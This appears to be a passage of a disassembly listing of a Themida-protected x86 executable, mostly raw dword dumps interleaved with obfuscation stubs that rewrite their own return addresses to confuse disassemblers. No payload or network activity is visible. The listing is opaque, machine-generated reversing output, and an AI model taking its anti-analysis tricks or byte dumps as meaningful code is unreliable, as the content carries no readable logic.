		dd 95675126h, 895BF818h, 0FA2B0D9Dh, 6AC32B07h,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h
		dd 3DF4C356h, 8CC93F05h, 8343Dh, 30860F00h, 8B000000h
		dd 0FA02D9B5h, 44E907h,	6A0000h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1D0424h, 51410000h, 0E8597CC3h, 6588056Ch
		dd 8B1FEAF1h, 50006AC0h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1504h, 0C3504000h, 0C38BE5B1h, 0BD8BD88Bh, 7FA1B31h
		dd 1315BD8Bh, 85C707FAh, 7FA2891h, 55B61955h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 2AC35646h, 8B20C8D9h
		dd 6AC08BF1h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1A042444h, 46000000h, 0F2F8C356h, 0F08FFD2Dh, 53CE8146h
		dd 81602827h, 0FA09B9BDh, 7D007h, 12850F00h, 8B000000h
		dd 0FA1C31BDh, 0B985FF07h, 8907FA09h, 0FA0CF99Dh, 0B9B5FF07h
		dd 2907FA09h, 0FA199D85h, 2D95FF07h, 9007FA01h,	0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 0C8C35141h, 6A5775h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h
		dd 0D2658BC3h, 0AD14EA64h, 53579B11h, 13E9h, 0BF82E900h
		dd 0B665E7FAh, 1508EBFh, 68ABF06Ah, 0A40F882Fh,	5F5F5F52h
		dd 6A5E52h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h
		dd 56460000h, 0B70F09C3h, 0F6052F3h, 0CE8C7BFh,	6C000000h
		dd 244D3C1Ah, 1ADA9407h, 5E2F099Ah, 0EF815F61h,	0CF3760Bh
		dd 6840Fh, 95890000h, 7FA3491h,	6E9h, 9C129300h, 66F08CA0h
		dd 9D01F78Bh, 7FA24ADh,	7E9h, 34488600h, 2157BE3Eh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 0FDC35343h, 0CA4AECCDh
		dd 0E6CFB416h, 52006A56h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1D04h, 0C3524200h, 1834D295h, 866C13D1h
		dd 8B666DC2h, 0B9BD8BF1h, 0F07FA1Ch, 0B58BFFB7h, 7FA0CE9h
		dd 0FFF7EBE9h, 0D1BD8BFFh, 8B07FA11h, 0EBC18BF2h, 4, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1B04h, 0C3534300h
		dd 81227403h, 0A54F4796h, 21BD9D89h, 0BF0F07FAh, 0D858DFEh
		dd 8B07FA15h, 0FA2915BDh, 52505007h, 585A310Fh,	89240489h
		dd 0FA2DA98Dh, 89006A07h, 0FA14F1BDh, 0F006A07h, 58Fh
		dd 49A0BE00h, 858D7398h, 7FECB0Fh, 27CD8589h, 0FE8B07FAh
		dd 6A05C083h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 17042444h, 41000000h, 8A5BC351h, 0BE90C086h,	0D15763Dh
		dd 12E950h, 79EE0000h, 301B00AFh, 8F58E1B9h, 86170525h
		dd 2845F40Bh, 56006A90h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1904h, 0C3564600h, 3198A22Ch, 816684EDh, 8B7589DEh
		dd 0FA16D9B5h, 8B006A07h, 1006AFBh, 0FA1E7185h,	49B58B07h
		dd 0FF07FA18h, 0FA174D95h, 1D858907h, 8D07FA31h, 0FE7ADB9Dh
		dd 33F18B07h, 0FA2C11BDh, 6AD3FF07h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 0E239C351h
		dd 33BC80Ah, 0FA23EDB5h, 6890F07h, 2B000000h, 0FA0A29BDh
		dd 2585FF07h, 0E907FA31h, 7E2h,	0E8h, 0ED815D00h, 7FECB19h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 40C35747h
		dd 813340FFh, 0FA09B9BDh, 7D007h, 18860F00h, 8B000001h
		dd 0FA16E5BDh, 68D0F07h, 29000000h, 0FA26298Dh,	959D8B07h
		dd 6A07FA1Dh, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1A042444h, 46000000h, 59F1C356h, 0D230AE4Bh,	11E881h
		dd 70D40000h, 0F71B15A3h, 653C7276h, 0E094657Dh, 5FF922BCh
		dd 100E381h, 0F18B0000h, 15F68166h, 0FDB0B3Ch, 4785h, 0F08B6600h
		dd 0C9CDBD83h, 0F0007FEh, 1184h, 69E900h, 8C0F0000h, 6
		dd 27A98529h, 85C707FAh, 7FEC9CDh, 1, 3840F57h,	0F000000h
		dd 895FF0BFh, 0FA248DBDh, 3DE907h, 0B52B0000h, 7FA23E9h
		dd 0C9CD85C7h, 7FEh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1C0424h, 57470000h, 9AC166C3h, 67C091AEh
		dd 9D893C5Ah, 7FA05B9h,	8DF08B66h, 0FA1D959Dh, 1B58907h
		dd 8107FA19h, 0FFFEFF23h, 50006AFFh, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1904h,	0C3504000h, 0E0C76369h
		dd 66F5ABA9h, 6ADB8Ch, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 150424h, 53430000h, 896345C3h, 0FA08F98Dh, 4C3F607h
		dd 78840Fh, 6A0000h, 3E852h, 5A200000h,	54895AC3h, 44810424h
		dd 1D0424h, 52420000h, 6F4461C3h, 3036BD8Dh, 6613564Ah
		dd 0FF9766BEh, 0FA172195h, 6690F507h, 50CDB4BEh, 6870F60h
		dd 50000000h, 5A310F52h, 9E958h, 0E24A0000h, 0BF144C7Dh
		dd 6132345Ch, 51006A90h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1A04h, 0C3514100h, 0C010981Bh, 660CB52Ch, 0AE9FE8Bh
		dd 6A000004h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1B042444h, 43000000h, 4C41C353h, 1B06C538h, 0B0B48Eh
		dd 2631B58Bh, 70E607FAh, 14DDD8BEh, 6A71E419h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1D042444h, 45000000h
		dd 0DAC7C355h, 333106CBh, 8FF29238h, 5890Fh, 81660000h
		dd 57CA35E7h, 1325B529h, 0F5E07FAh, 8E0FD8B6h, 1Dh, 0C99D8B60h
		dd 0E907FA21h, 10h, 0C35B52C8h,	7A4BCE2h, 522B0814h, 0D71C780Ch
		dd 6BA61h, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 150424h, 50400000h, 66C125C3h, 8B1458BFh, 6870FC3h
		dd 29000000h, 0FA131D9Dh, 4E8C107h, 0F766F88Bh,	52006AE2h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1604h, 0C3524200h
		dd 0E8F1A8ACh, 0Dh, 9C601D85h, 58AE83AEh, 0E4BBD292h, 12EE81EFh
		dd 5E380D91h, 0BF50D82Bh, 45AF3B33h, 89241C89h,	0FA290D8Dh
		dd 0B9B5FF07h, 8907FA09h, 0FA271D8Dh, 2D95FF07h, 6A07FA01h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1C042444h
		dd 42000000h, 0A4EEC352h, 0E6C86F19h, 6073FD89h, 66FEB70Fh
		dd 0B061FE8Bh, 56006A00h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1C04h, 0C3564600h, 7C5BF51Dh, 0FA2F2A87h
		dd 5D9D89F7h, 0E607FA04h, 56006A70h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1D04h,	0C3564600h, 1E05529Ah
		dd 0F267A892h, 71E46072h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Ch, 0A8C35141h, 0EFA7E3D3h, 68122787h, 208D0Fh
		dd 0DE80000h, 0DD000000h, 2F6A767Fh, 8E601FBAh,	27AD3AF3h
		dd 8E9h, 7C15CA00h, 1A732439h, 613C5F59h, 20F830Fh, 0B60F0000h
		dd 9D0B60D8h, 7FA2905h,	5840Fh,	81660000h, 619F79CAh, 3798D01h
		dd 6BA07FAh, 56000000h,	0E9C38B5Eh, 8, 7EAB8EA8h, 0BF42E643h
		dd 8B04E8C1h, 0FA26BDB5h, 0E2F76607h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 17h, 0B1C35545h,	8B9FEF4Fh, 0FA0ACDB5h
		dd 8BD82B07h, 0FA0139B5h, 6A5807h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1C0424h, 50400000h, 7FDE25C3h, 5DEEC981h
		dd 0B70F1474h, 0FD82BFAh, 17488h, 51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1704h,	0C3514100h, 4BB669BCh
		dd 2B9DB58Bh, 0B50107FAh, 7FA2421h, 7B9h, 56006A00h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1904h, 0C3564600h
		dd 0BCCD4D07h, 0F28BD719h, 24ADB531h, 0C18307FAh, 119D8900h
		dd 3B07FA17h, 0A860FD9h, 6A000001h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 16042444h, 43000000h, 2757C353h
		dd 0D98C6622h, 41C68060h, 1C25BD29h, 0F66107FAh, 840F04C1h
		dd 0A5h, 172195FFh, 0BF6607FAh,	0FE903DFh, 0BB000000h
		dd 187931ACh, 3033C9DCh, 0CFFE21h, 895B957Bh, 0FA05B59Dh
		dd 6AC32B07h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 18042444h, 42000000h, 32F3C352h, 3DA1C3F0h, 834h, 53860Fh
		dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h
		dd 53430000h, 0B38E2C3h, 9DBD8B76h, 0E907FA16h,	59h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0A5C35242h, 5C4B77FDh
		dd 81744E00h, 97729FDEh, 6AC08B08h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 290FC351h
		dd 0FA05FD95h, 6890F07h, 89000000h, 0FA040D9Dh,	8BC38B07h
		dd 0F68166D8h, 0BE893BCh, 0EA000000h, 7DE742FEh, 0A050E7FFh
		dd 8D897430h, 7FA05D5h,	0E585C75Eh, 1307FA0Ah, 0E9317CFBh
		dd 11h,	2A1A4A9Ch, 0A4E3E44h, 55B045CCh, 42CFD013h, 66C08B4Eh
		dd 815A03BEh, 0FA09B9BDh, 7D007h, 12850F00h, 81000000h
		dd 5E106BCEh, 0B985FF02h, 307FA09h, 0FA2801B5h,	0B9B5FF07h
		dd 6A07FA09h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 16042444h, 42000000h, 0B35CC352h, 9DBD8BCBh,	0FF07FA01h
		dd 0FA012D95h, 51006A07h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1504h, 0C3514100h, 0B58954C2h, 7FA3471h
		dd 0FB8B6690h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 19h,	38C35141h, 680445E8h, 52006A9Eh, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1404h,	0C3524200h, 0E1BD09CEh
		dd 0F07FA0Ch, 684h, 8DB58B00h, 0E907FA02h, 13h,	0A1EFF150h
		dd 9003B74Dh, 9262C634h, 0BC0F90C4h, 0E88ADC43h, 9, 0FF75E063h
		dd 0D4DA76AFh, 12E806h,	5E520000h, 6708A0F8h, 0BA8A9792h
		dd 692826ACh, 4C790D0Ah, 67C78166h, 0F5E5F09h, 0A81h, 0D78B6000h
		dd 6160D68Bh, 0F615953h, 8589F2B7h, 7FA1E25h, 6AF98Bh
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h
		dd 0C15B48C3h, 8B0B0FB5h, 0FA054DBDh, 8D295607h, 7FA2765h
		dd 5820F5Eh, 66000000h,	767DDF81h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 19h, 10C35141h, 10ED057Bh, 0F82AE98Fh
		dd 0B58BFFFFh, 7FA2C11h, 1939BD0Bh, 0C18B07FAh,	0AFDB58Bh
		dd 4EB07FAh, 0
; ---------------------------------------------------------------------------
		push	0
		push	esi
		call	sub_5EEE13
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5EEE13	proc near		; CODE XREF: Themida_:005EEE0Bp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 15h
		inc	esi
		push	esi
		retn
sub_5EEE13	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		push	79586EBFh
		db	26h
		pusha
		mov	esi, [ebp+7FA1971h]
		mov	esi, [ebp+7FA1D25h]
		popa
		lea	eax, [ebp+7FA150Dh]
		jmp	loc_5EEE53
; ---------------------------------------------------------------------------
		db 41h
		dd 0AE3B4BF4h, 0EB400760h, 0C0617301h
		db 97h,	0E8h, 2Ah
; ---------------------------------------------------------------------------


loc_5EEE53:				; CODE XREF: Themida_:005EEE3Ej
		mov	[ebp+7FA1415h],	edi
		push	eax
		mov	edi, 87679E3h
		mov	[esp], eax
		and	edi, 2FE4F873h
		push	0
		push	0
		push	ecx
		call	sub_5EEE75
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5EEE75	proc near		; CODE XREF: Themida_:005EEE6Dp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 15h
		inc	ecx
		push	ecx
		retn
sub_5EEE75	endp

; ---------------------------------------------------------------------------
		shl	edx, 1
		sub	[ebp+7FA1781h],	edx
		push	0
		push	0
		push	esi
		call	sub_5EEE9A
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5EEE9A	proc near		; CODE XREF: Themida_:005EEE92p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 15h
		inc	esi
		push	esi
		retn
sub_5EEE9A	endp

; ---------------------------------------------------------------------------
		dw 4B62h
; ---------------------------------------------------------------------------
		lea	eax, [ebp+7FED4FEh]
		push	0
		push	eax
		call	sub_5EEEBD
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5EEEBD	proc near		; CODE XREF: Themida_:005EEEB5p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Bh
		inc	eax
		push	eax
		retn
sub_5EEEBD	endp

; ---------------------------------------------------------------------------
		db 0ABh, 91h, 5Bh
		dd 0FA2B5098h, 9E8FBh, 38E90000h, 0B2E0EAF8h, 0E96B771Dh
		dd 13h,	0F888D2C1h, 0D19086DAh,	0A75889DBh, 0C4542A8Ah
		dd 5E0727E2h, 0E805C083h, 8, 0C3D5191Ah, 7B741AB4h, 5FF7BF0Fh
		dd 8B665190h, 90505FF2h, 0E857006Ah, 3,	5FC35F20h, 4247C89h
		dd 4244481h, 1Bh, 89C35747h, 0DE044324h, 8B8B1488h, 0C8B0FF0h
		dd 0F000000h, 681h, 0F58D8900h,	6A07FA04h, 0BE96000h, 5D000000h
		dd 0A416FAECh, 6B7A28C1h, 9D8BD00Dh, 7FA2F09h, 8B006A61h
		dd 4D95FFFAh, 6A07FA17h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1C042444h, 46000000h, 0FC35C356h,	0C73F2308h
		dd 19EBC5Ch, 0FA0289BDh, 0DB9D8D07h, 6A07FE7Ah,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h
		dd 0A862C353h, 0A47F9B57h, 860FF958h, 6, 1B35BD89h, 0D3FF07FAh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 0BAC35545h
		dd 0F8F67467h, 312585FFh, 335107FAh, 0FA2029BDh, 53E95E07h
		dd 0E8000009h, 0
; ---------------------------------------------------------------------------
		pop	ebp
		sub	ebp, 7FED508h
		push	0
		push	edx
		call	sub_5EF01E
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5EF01E	proc near		; CODE XREF: Themida_:005EF016p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 17h
		inc	edx
		push	edx
		retn
sub_5EF01E	endp

; ---------------------------------------------------------------------------
		fisubr	dword ptr [ebp+6Eh]
		mov	edx, [ebx+0Fh]
		mov	bh, 0FFh
		pop	edi
		cmp	dword ptr [ebp+7FA09B9h], 7D0h
		jbe	loc_5EF193
		push	0
		push	edi
		call	sub_5EF052
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5EF052	proc near		; CODE XREF: Themida_:005EF04Ap

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Ch
		inc	edi
		push	edi
		retn
sub_5EF052	endp

; ---------------------------------------------------------------------------
		dw 9653h
		dd 0C11FA1D1h, 8BD56711h, 0FA1DD99Dh, 3850F07h,	66000000h
		dd 0E381F88Bh, 100h, 2B99B589h,	0DB0B07FAh, 9A850Fh, 6A0000h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 170424h, 50400000h
		dd 33DA9FC3h, 0DF81669Bh, 0BD832E74h, 7FED300h,	36840F00h
		dd 6A000000h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1D042444h, 43000000h, 0AB29C353h, 98489A33h,	0ADB964B7h
		dd 31419D89h, 49E907FAh, 23000000h, 0FA043DBDh,	85C707h
		dd 107FED3h, 6A000000h,	3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 16042444h, 41000000h, 0C594C351h,	16E9FAh
		dd 0B58B0000h, 7FA1771h, 0D30085C7h, 7FEh, 0BD010000h
		dd 7FA25CDh, 1DD99D8Dh,	6A07FAh, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1A0424h, 52420000h, 3BBEBAC3h, 60D564D3h
		dd 13E9h, 0D2769700h, 0DD1CA97h, 3C49CECEh, 0C514020Ah
		dd 56ABE67Ah, 7E9h, 9D3A4300h, 7F2E2140h, 0FEFF2381h, 8B66FFFFh
		dd 0A98589F3h
		db 1Dh,	0FAh, 7
; ---------------------------------------------------------------------------


loc_5EF193:				; CODE XREF: Themida_:005EF041j
		mov	bx, ds
		test	bl, 4
		jz	loc_5EF254
		push	0
		push	ebp
		call	sub_5EF1AA
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5EF1AA	proc near		; CODE XREF: Themida_:005EF1A2p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Dh
		inc	ebp
		push	ebp
		retn
sub_5EF1AA	endp

; ---------------------------------------------------------------------------
		dw 704Bh
		db 90h
		db 1Bh,	0A0h, 15h
; ---------------------------------------------------------------------------
		sbb	ch, bl
		mov	bl, 28h
		pusha
		jo	loc_5EF1D1
		mov	[ebp+7FA0531h],	ebx


loc_5EF1D1:				; CODE XREF: Themida_:005EF1C5j
		add	[ebp+7FA1DF9h],	edi
		popa
		call	dword ptr [ebp+7FA1721h]
		push	0
		push	esi
		call	sub_5EF1E9
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5EF1E9	proc near		; CODE XREF: Themida_:005EF1E1p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Ah
		inc	esi
		push	esi
		retn
sub_5EF1E9	endp

; ---------------------------------------------------------------------------
		db 0AAh, 61h, 59h
		dd 0ACC1C05Bh, 27259D89h, 509007FAh, 6E85652h, 23000000h
		dd 760D89D6h, 0F5E5FE8h, 5AFB8B31h, 6A905058h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h
		dd 0A9F9C351h, 5660E6C2h, 1CB59D2Bh, 0F5B07FAh,	685h, 69953300h
		dd 6107FA07h
; ---------------------------------------------------------------------------


loc_5EF254:				; CODE XREF: Themida_:005EF199j
		jmp	loc_5EF6AC
; ---------------------------------------------------------------------------
		push	0
		push	edi
		call	sub_5EF264
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5EF264	proc near		; CODE XREF: Themida_:005EF25Cp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 14h
		inc	edi
		push	edi
		retn
sub_5EF264	endp

; ---------------------------------------------------------------------------
		dd 0F3BF0F80h, 958900B0h, 7FA32B9h, 6A70E6h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 170424h, 51410000h, 3C34AC3h
		dd 79B58B3Ch, 0E407FA19h, 0D8B60F71h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 17h, 4BC35242h, 6078630Ch, 8BF0BF0Fh
		dd 6BA61DAh, 6A000000h,	3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 18042444h, 43000000h, 0B234C353h,	8904F709h
		dd 0FA082195h, 0E9C38B07h, 9, 66F78B08h, 0E9375A58h, 0FE9B9h
		dd 88200000h, 93624B6h,	0A02CBD53h, 7E045FCh, 4E8C1C0h
		dd 350DB58Bh, 66F907FAh, 6AE2F7h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1D0424h, 52420000h, 2D1F9DC3h, 8DBE34C8h
		dd 89475B96h, 0FA25A99Dh, 5F525107h, 6AD82B5Eh,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h
		dd 6C65C357h, 60525050h, 11E8h,	4D5C0600h, 7A38CB44h, 0B3F0C21Bh
		dd 827D309Fh, 6159E18Bh, 0F2BF310Fh, 5A5AB8EEh,	241C8958h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 99C35141h
		dd 2A10C2FBh, 0EF81C282h, 59649264h, 9B9B5FFh, 6A07FAh
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h, 57470000h
		dd 0BF15DFC3h, 0FBBF0F17h, 12D95FFh, 6A07FAh, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 180424h, 53430000h, 0B0BF18C3h
		dd 0B0DC0Fh, 0CE9h, 62572900h, 5845E4F9h, 318E0E73h, 0F70E60Bh
		dd 685h, 41BD8B00h, 0E407FA31h,	0F6815371h, 30D9C4EBh
		dd 0F613C5Eh, 25F83h, 93BF6600h, 0D8B60F0Dh, 2E299D89h
		dd 6BA07FAh, 6A000000h,	3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1D042444h, 41000000h, 3C9AC351h, 8E8E55CDh
		dd 0B72874B1h, 6AC38Bh,	3E852h,	5A200000h, 54895AC3h, 44810424h
		dd 180424h, 52420000h, 0C378F9C3h, 0E8C10369h, 95895604h
		dd 7FA0C09h, 0E2F7665Fh, 6926BE66h, 6AD82Bh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1D0424h, 50400000h, 3F333EC3h
		dd 4E72A857h, 89019016h, 0FA1D35B5h, 6A5807h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1D0424h, 51410000h, 6CDD3FC3h
		dd 1B4EB1A8h, 0FDFBE76h, 8Fh, 0FD82B00h, 19388h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1904h, 0C3534300h
		dd 30A947E0h, 8B66DE87h, 0A58529F3h, 0B907FA08h, 7, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 58C35545h, 0F5600010h
		dd 8361D68Bh, 6A00C1h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 170424h, 50400000h, 0EBBDE0C3h, 4DB5336Ch, 3B07FA28h
		dd 11860FD9h, 0F000001h, 1A8Ah,	0EE800h, 68DC0000h, 15749C26h
		dd 213421C6h, 0D7A225DAh, 1B498501h, 665F07FAh,	81F8D98Ch
		dd 0E2D0E9E6h, 4C1F600h, 0CE840Fh, 6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 140424h, 56460000h, 95FF15C3h
		dd 7FA1721h, 2BD9589h, 6A5B07FAh, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1A042444h, 46000000h, 0E0A5C356h
		dd 0FF04C2A7h, 6800F64h, 33000000h, 0FA2939BDh,	820F5107h
		dd 6, 830Fh, 2B5F0000h,	0C8F0FC3h, 0F000000h, 689h, 0B98D8900h
		dd 3D07FA1Ah, 834h, 4A860Fh, 6A0000h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 140424h, 52420000h, 0BE667FC3h
		dd 35E92F3Ch, 6A000000h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 15042444h, 43000000h, 8C52C353h, 0BFF1B70Fh
		dd 61817EB4h, 8B57C08Bh, 0FA1A0DB5h, 0B58B5E07h, 7FA06A9h
; ---------------------------------------------------------------------------


loc_5EF6AC:				; CODE XREF: Themida_:loc_5EF254j
		mov	eax, ebx
		mov	ebx, eax
		jg	loc_5EF6B8
		mov	edi, eax


loc_5EF6B8:				; CODE XREF: Themida_:005EF6B0j
		mov	[ebp+7FA25C1h],	esi
		mov	dword ptr [ebp+7FA1D95h], 3B871391h
		mov	esi, [ebp+7FA08C1h]
		push	eax
		mov	esi, [ebp+7FA0501h]
		pop	esi
		mov	eax, eax
		push	0
		push	ecx
		call	sub_5EF6E3
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5EF6E3	proc near		; CODE XREF: Themida_:005EF6DBp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Ah
		inc	ecx
		push	ecx
		retn
sub_5EF6E3	endp

; ---------------------------------------------------------------------------
		db 97h
		dd 0A7423EF0h, 8509C354h, 7FA2E51h, 81FA8B66h, 0FA09B9BDh
		dd 7D007h, 76850F00h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1D042444h, 46000000h, 352AC356h, 0E9C51D48h
		dd 3A754D3Fh, 9B985FFh,	6A07FAh, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1D0424h, 51410000h, 0C3217C3h, 0BF5AD058h
		dd 0E80EACC2h, 0Fh, 24222998h, 0B209C7E2h, 3083D80Ch, 0E9147BD1h
		dd 0Ch,	61F407C4h, 0ACB84B83h, 0B2103A9Ch, 0B9B5FF5Fh
		dd 6A07FA09h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1D042444h, 43000000h, 9B54C353h, 6621085Ah, 943B7952h
		dd 0A859D01h, 890F07FAh, 4, 7286BF66h, 12D95FFh, 6A07FAh
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h
		dd 0CA1022C3h, 8948DE44h, 0FA1D6185h, 3810F07h,	66000000h
		dd 8990F98Bh, 0FA045D8Dh, 52006A07h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1904h,	0C3524200h, 877E075Eh
		dd 11E91F0Ch, 29000000h, 6487E6AEh, 0C927A49h, 0CECC0538h
		dd 0DF2183Fh, 0E96060FCh, 9, 5571F845h,	0DB0771DAh, 66616057h
		dd 0FFEDC881h, 8A0Fh, 0B4610000h, 61C28A75h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 72C35747h, 0D6F8C4BAh
		dd 0B58BB2C0h, 7FA1E19h, 11E9h,	0E1E28600h, 8FA597F3h
		dd 0CF275AA8h, 42E9FE33h, 800F3658h, 0Ch, 17A58529h, 0BD8B07FAh
		dd 7FA1BC1h, 3103BF66h,	6E9h, 2948F00h,	9961A2Eh, 0FA28A9BDh
		dd 55006A07h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1904h
		dd 0C3554500h, 2AD753BBh, 6A219Fh, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 180424h, 55450000h, 8ABF52C3h, 11E99552h
		dd 0AC000000h, 0A1322A20h, 34E7A33Ah, 2A06D25Fh, 97E30338h
		dd 1BC5B58Bh, 0B70F07FAh, 0F6E1E9F8h, 6AFFFFh, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h
		dd 512B1DC3h, 0EF477632h, 0FB8B4A27h, 9E9h, 0C244FE00h
		dd 0DE1D8333h, 0C18B9867h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 15h, 0C3C35040h, 0E1B58958h, 8B07FA0Ch, 0FA13A5B5h
		dd 4EB07h, 8B000000h, 0FA073DBDh, 52006A07h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1404h,	0C3524200h, 0D858DD8h
		dd 0E807FA15h, 12h, 222DA9DAh, 0AC752780h, 0F5F52F6Bh
		dd 0F04414C3h, 8D895AE5h, 7FA1A01h, 158B0F5Eh, 0E9000000h
		dd 10h,	7CD906A3h, 297ED11Dh, 0D1FCAC18h, 0A7DA7B2Fh, 50FE8B90h
		dd 0E8606090h, 0Dh, 77B6ADA3h, 0F4509BDAh, 0A818F5C8h
		dd 95895A4Dh, 7FA0761h,	61CF8A61h, 6AF98Bh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 11C35343h, 45DFBF8Dh
		dd 0C9BD0BE1h, 6A07FA1Eh, 53006A00h, 3E8h, 0C35B2000h
